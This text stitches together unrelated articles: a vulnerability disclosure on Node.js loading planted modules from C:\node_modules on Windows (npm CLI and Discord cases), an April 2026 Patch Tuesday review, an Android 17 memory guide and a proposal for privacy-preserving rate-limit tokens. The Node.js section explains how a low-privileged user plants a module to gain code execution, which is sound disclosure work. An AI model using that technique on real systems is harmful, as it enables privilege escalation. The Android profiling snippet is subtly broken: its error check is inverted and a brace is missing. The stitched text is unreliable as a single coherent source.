The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in C:\node_modules as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.

This issue is not new. Concerned discussions about Node.js's module search path behavior date back to 2013 and 2014.

Node.js has explicitly stated that they consider this behavior intentional:

"Node.js trusts the file system."

They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers.

As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.

Root Cause

The root cause lies in the way Node.js performs module resolution. This is documented here. Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.

When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:

1. C:\Users\Administrator\projects\node_modules\bar.js
2. C:\Users\Administrator\node_modules\bar.js
3. C:\Users\node_modules\bar.js
4. C:\node_modules\bar.js <-- The problem

If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create C:\node_modules and place a malicious package there. Once the low-privileged user has populated C:\node_modules\bar.js, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s guidelines, third-party dependencies end up triggering this vulnerability anytime you launch the application.

Case Studies: Real-World Manifestations

The Optional Dependency Pattern: npm supports optional dependencies to be specified in the project’s package.json file. The recommended pattern for checking for these dependencies is as follows:

This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to C:\node_modules where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where /node_modules at the filesystem root is typically only writable by root. Windows systems by default allow any user to create C:\node_modules. Once require is called, Node.js will traverse the search path and execute any matching module it finds.

Important things to note:

1. This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.
2. There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.
3. The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in C:\node_modules.

Let’s take a deeper look at both cases and see why this is so dangerous.

Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775).

Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”.

When Node.js is installed on the system, npm is included by default without the bluebird package. This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (https://github.com/npm/cli/pull/1438/changes), demonstrating how easy it is for developers to unknowingly create this attack surface.

We can see Node’s package resolution logic at work in the screenshot below:

First, the application looks for the bluebird.js package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed C:\node_modules\bluebird.js, the require call will find, read, and execute the malicious payload in the context of any user running npm on the system.

This vulnerability is especially dangerous because it is triggered when many npm * cli commands are used. Common development commands such as npm install, npm –l, and npm prune will all execute the malicious bluebird.jspackage.

Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)

On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:

Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled C:\node_modules\utf-8-validate.js is executed.

The ws library does support disabling this check via the WS_NO_UTF_8_VALIDATE environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:

Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues.

The Bigger Picture

The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in Mongo DB Compass and Mongo DB Shell are just two other examples.

Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.

Each vendor has clearly stated that they will not treat these issues as vulnerabilities:

NPM’s response to our report:

“exploits that require local access to a machine are considered ineligible for npm CLI

Discord’s response to our report:

“We do not consider physical/local attacks as valid security issues”

Node.js, in the “Examples of non-vulnerabilities” section of their Security Policy:

“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.”

Conclusion

The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to C:\node_modules. Without a fix from Node.js, the burden silently falls on application developers.

Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI.

We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at @bobbygould5 and @izobashi, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

DISCLOSURE TIMELINES

NPM CLI:

2024-11-13 – ZDI submitted the report to the vendor

2024-11-13 – The vendor acknowledged the receipt of the report

2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues

2025-08-05 – ZDI encouraged the vendor to re-assess the issue

2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory

DISCORD:

2025-07-08 – ZDI notified vendor

2025-09-11 – ZDI followed up with vendor

2025-09-15 – Vendor stated they do not consider local attacks as valid security issues

2025-12-01 – ZDI explained why we believe the issue is still valid

2025-12-10 – Vendor replied that the vulnerability is still out of scope 

2025-12-11 – ZDI informed vendor of intent to publish 0-day 

REFERENCES

https://nodejs.org/api/modules.html#loading-from-node_modules-folders

https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies

https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1

https://github.com/nodejs/node-v0.x-archive/issues/8830

https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require

https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

-    CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

-    CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

-   CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

-    CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.

Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host.

More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access.

There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.

Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.

The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP notes that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.

There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.

The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering.

No new advisories are being released this month.

Looking Ahead

I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which these visible metrics are built. It's no secret that we're seeing a shift where device memory is more important than ever. Not only have we made strides in Android memory optimizations with Android 17, we're providing the tooling and API support to help you stay ahead of stricter memory requirements later this year.

To ensure device stability, starting in Android 17, the system will begin enforcing app memory limits based on the device's total RAM. If an app exceeds those limits, Android will kill the process with no associated stack trace.

Optimize image loading

Detect and fix memory leaks with Android Studio

Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).

Android Studio Panda 3 features a dedicated LeakCanary profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.

The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.

Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.

Trim memory when app leaves visible state

Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in Overview of memory management. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.

If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the ComponentCallbacks2 interface. You can implement onTrimMemory in your Activity, Fragment, Service, or even your custom Application class. Using it in the Application class is highly effective for global cache management.

The provided onTrimMemory() callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.

In terms of memory lifecycle management, your implementation should focus exclusively on TRIM_MEMORY_UI_HIDDEN and TRIM_MEMORY_BACKGROUND. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.

TRIM_MEMORY_UI_HIDDEN: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.

TRIM_MEMORY_BACKGROUND: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.

import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level >= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level >= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}

Note: The onTrimMemory integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the game memory optimization documents.

Advanced memory observability with ProfilingManager

To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the ProfilingManager API. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.

For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to provide feedback.

Android 17 introduces new event-driven triggers, most notably TRIGGER_TYPE_OOM and TRIGGER_TYPE_ANOMALY:

• The OOM trigger automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the registerForAllProfilingResults callback.
• The Anomaly trigger detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.

  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer { profilingResult ->
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)

Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the Perfetto UI. To streamline your memory debugging workflow, use the Heap Dump Explorer, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.

Conclusion

Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised memory guidance.

Bots (and privacy-preserving browsers) not welcome

Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: if we think you might be a bot, you’re not welcome.

Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans.  For example: SEO comment spam, credential stuffing and DDoSing. Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors.

Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are dismantling the passive signals that anti-abuse systems depended on to identify and distinguish visitors. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them faster and more reliably than humans.

Many sites are switching to more invasive mechanisms and now ask visitors to disclose identifying information, e.g. an email address, a federated login or disabling their VPN. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate.

This leaves users with a dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse.

Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block both. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.

The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users who would otherwise want to consume their content or services. New user agents struggle to access the same content as conventional browsers.

The Costs of Convenient Solutions

Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.

Google’s Web Environment Integrity, abandoned in 2023, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.

Apple’s Private Access Tokens, deployed across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.

However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. Due to PAT’s technical design^[1], there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would become tied to having bought expensive hardware from a small, hard to change set of vendors.

Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.

A Better Path Forward

Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they don’t actually need to know the user’s identity or receive cryptographic proof that they’re running approved software. If sites knew their visitors were restricted to a rate limit set by a site, that would be enough.  

Rate limits only make sense if they’re tied to something scarce; something an attacker can’t cheaply replicate to evade the limit. Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit.

However, hardware is just one option for scarcity. Anything a user already has that an attacker can’t trivially spin up at scale will work: email addresses and phone numbers are naturally scarce. A paid subscription costs an attacker the same as a real user.  Even maintaining an account on a free service requires some non-trivial work.

What if we could use these scarce signals across the web? We could build an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms.

As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage.

The catch is that building a system that can enable this on the open web whilst maintaining user’s privacy is genuinely difficult. It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. Letting one site verify a signal from another is the sort of information flow that privacy-preserving browsers have spent the last decade locking down to prevent cross-site tracking.

Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), it can be a win for both privacy and access.

The Foundations

The good news is that the cryptographic foundations for a privacy preserving approach already exist. The Privacy Pass protocol, originally developed in 2018 to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is unlinkable between issuance and redemption. You prove something to an issuer (e.g. by solving a CAPTCHA), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to.

Figure 1: In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.

Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: Apple uses it to authenticate users of Private Cloud Compute and Private Relay without linking their activity to their identity, Chrome uses it for two-hop IP protection, and Kagi uses it to provide private search. These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them.

Applying this approach to an open system where any site can act as an issuer brings real challenges. Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. This compounds if sites can learn the set of issuers you have visited, since it becomes a fingerprint which can be used to identify you.

Generic techniques exist for proving a statement in zero knowledge: we can prove that a client has a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. The generic approach is often slow, but bespoke approaches tailored to the underlying cryptography can improve this considerably.

Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, sites are likely to lean towards conservative issuer selection. That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created. 

To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like Prio which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour.

Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per client basis, for example by increasing rate limits where they become more confident the client is benign and withdrawing access when abuse is detected.

Anonymous Credit Tokens offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing the counter whenever the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked.

Putting it together

So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a W3C CG Meeting in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens.

Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an Anchor. To a user who meets the Anchor’s criteria, like having a subscription, an account in good standing, or a verified phone number, an Anchor issues a batch of Endorsement tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys scarcity to other sites.

That’s enough for a simple system where access is either granted or denied. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. The state needed to enforce a rate limit can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it.

We’ll call that the party that handles rate limiting for a site a Moderator and the stateful object a Credential. A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit. 

In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.

Figure 2: (1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.

Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of the Anchors it trusts, but not which one.

When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as we would for any other third party site. The unlinkability of Credential presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it does provide a new way to grant access without requiring users to give up their privacy.

Enabling Moderators that cover many sites carries a centralisation risk, similar to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. This can’t reverse the centralisation pressure the web already faces, but it ensures this system won’t lead to additional lock-in: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor.

The system then has three flows. First, the user receives Endorsements from an Anchor in the course of normal interaction, based on the Anchor’s positive view of the user. This is a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.

Figure 3: In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.

